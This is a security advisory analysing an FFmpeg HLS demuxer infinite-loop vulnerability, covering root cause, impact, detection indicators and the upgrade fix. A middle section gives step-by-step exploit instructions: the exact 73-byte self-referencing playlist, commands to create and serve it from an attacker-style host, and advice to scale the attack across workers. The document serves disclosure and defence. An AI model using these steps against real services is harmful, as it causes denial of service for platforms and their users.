CVE-2026-107695: 
Ffmpeg vulnerability analysis and mitigation

CVE-2026-107695 is an infinite loop (DoS) vulnerability in FFmpeg's HLS demuxer affecting all versions before 8.1.3. The root cause is that parse_playlist() in libavformat/hls.c accepts Master Playlist tags (such as #EXT-X-STREAM-INF) inside Media Playlists, allowing a crafted self-referencing playlist to cause hls_read_header() to endlessly add variants, consuming unbounded CPU and I/O resources. The vulnerability was discovered on 2026-06-18 by researcher BapToutatis and publicly disclosed on 2026-10-08. It carries a CVSS v3.1 score of 6.5 (Medium) and a CVSS v4.0 score of 7.1 (High) (GitHub Advisory, VulnCheck Advisory).

The vulnerability is classified as CWE-835 (Loop with Unreachable Exit Condition). In hls_read_header(), after an initial call to parse_playlist() establishes a variant entry, a for loop iterates over c->n_playlists. However, each call to parse_playlist() within the loop re-opens the self-referencing playlist, encounters #EXT-X-STREAM-INF, and calls new_variant() → new_playlist() → dynarray_add(), which increments c->n_playlists. Because the loop condition i < c->n_playlists is re-evaluated each iteration and the bound grows at the same rate as i, the exit condition is never reached. The existing max_reload protection introduced by the CVE-2017-14058 fix resides in reload_playlist(), which is called from hls_read_packet() — a function that is never reached because hls_read_header() never returns. Additionally, new_variant() performs no URL deduplication, so the same self-referencing URL is registered repeatedly without limit (PoC Gist, FFmpeg Commit c364ab1).

Successful exploitation causes the FFmpeg process to spin indefinitely, consuming 100% of one CPU core and generating heavy disk I/O (approximately 2,022 file open/read/close cycles per second), with no error output and no natural exit — the process must be killed externally. A single 73-byte malicious playlist file can permanently exhaust one worker process; multiple concurrent submissions can exhaust all available workers on a server. Applications at risk include video transcoding platforms, media thumbnail generators, streaming ingest servers, and any web service that automatically invokes FFmpeg on user-supplied content. There is no confidentiality or integrity impact — the vulnerability is limited to availability (PoC Gist, VulnCheck Advisory).

A public proof-of-concept exploit is available as a GitHub Gist published by researcher BapToutatis (OxBat) on 2026-06-18, providing a complete 73-byte reproduction file and step-by-step instructions (PoC Gist). The EPSS score is approximately 0.0045 (low probability of near-term exploitation), and there is no evidence of in-the-wild exploitation or CISA KEV catalog inclusion at this time (GitHub Advisory). No threat actor attribution has been reported. The NVD SSVC assessment classifies exploitation status as "poc" with partial technical impact (VulnCheck Advisory).

1. Create the malicious playlist: Generate a 73-byte self-referencing HLS Master Playlist file named recursion.m3u8 with the following content:

#EXTM3U
#EXT-X-VERSION:3
#EXT-X-STREAM-INF:BANDWIDTH=1000
recursion.m3u8

This can be created with: printf '#EXTM3U\n#EXT-X-VERSION:3\n#EXT-X-STREAM-INF:BANDWIDTH=1000\nrecursion.m3u8\n' > recursion.m3u8

2. Local exploitation: Supply the file directly to a vulnerable FFmpeg instance: ffmpeg -v debug -i recursion.m3u8 -f null -. The process will hang indefinitely, consuming one CPU core at 63–100%.

3. Remote exploitation: Host the file over HTTP (python3 -m http.server 8000) and cause the target server to fetch it: ffmpeg -i http://attacker.example.com:8000/recursion.m3u8 -f null -. Any service that automatically passes user-supplied URLs or uploaded files to FFmpeg is exploitable without authentication or user interaction on the server side.

4. Verify the loop: Confirm exploitation with timeout 10 ffmpeg -v debug -i recursion.m3u8 -f null - 2>&1 | grep -c "Opening 'recursion.m3u8'" — expected output is several thousand, confirming the infinite loop.

5. Scale the attack: Submit multiple concurrent malicious playlists to exhaust all available FFmpeg worker processes, causing a complete denial of service for the targeted platform (PoC Gist).

• Process: FFmpeg process in state R (running) or RN (running, niced) with sustained CPU usage of 63–100% on a single core and no natural exit; process must be killed externally.
• Logs: FFmpeg debug logs showing the repeating pattern Opening 'recursion.m3u8' for reading and Statistics: 73 bytes read, 0 seeks thousands or millions of times; log files growing at ~4,000–16,000 lines per second until disk is full.
• Network: Repeated outbound HTTP requests to the same .m3u8 URL from the FFmpeg process at a rate of ~2,000 requests per second (for remote playlist scenarios); no corresponding media segment downloads.
• File System: Rapid growth of FFmpeg debug log files (141 MB or more within minutes); presence of a small (73-byte) .m3u8 file containing a self-referencing #EXT-X-STREAM-INF entry pointing to itself.
• System Calls (strace): Repeating openat / read(73 bytes) / close cycle on the same playlist file with no intervening media segment access (PoC Gist).

Upgrade FFmpeg to version 8.1.3 or later, which includes the fix that causes parse_playlist() to reject Master Playlist tags (#EXT-X-STREAM-INF, #EXT-X-MEDIA) when encountered inside a Media Playlist context, returning AVERROR_INVALIDDATA and aborting parsing (FFmpeg Commit c364ab1, FFmpeg Commit 0e6eef3, FFmpeg Commit a4ddaba). As interim workarounds: avoid passing untrusted or user-supplied HLS playlist URLs/files directly to FFmpeg; implement input validation to reject .m3u8 files containing #EXT-X-STREAM-INF entries that reference the same filename; and enforce process-level CPU time limits and watchdog timeouts to detect and kill hung FFmpeg workers (GitHub Advisory).

Red Hat has acknowledged the vulnerability and opened a tracking bug (BZ#2548114) (Red Hat Bugzilla). VulnCheck published an advisory and coordinated the CVE assignment (VulnCheck Advisory). The FFmpeg project addressed the issue via commits authored by Kacper Michajłow (kasper93) and cherry-picked by Michael Niedermayer into the release/8.1 and release/7.1 branches. No significant broader social media or media coverage has been identified beyond the technical disclosure.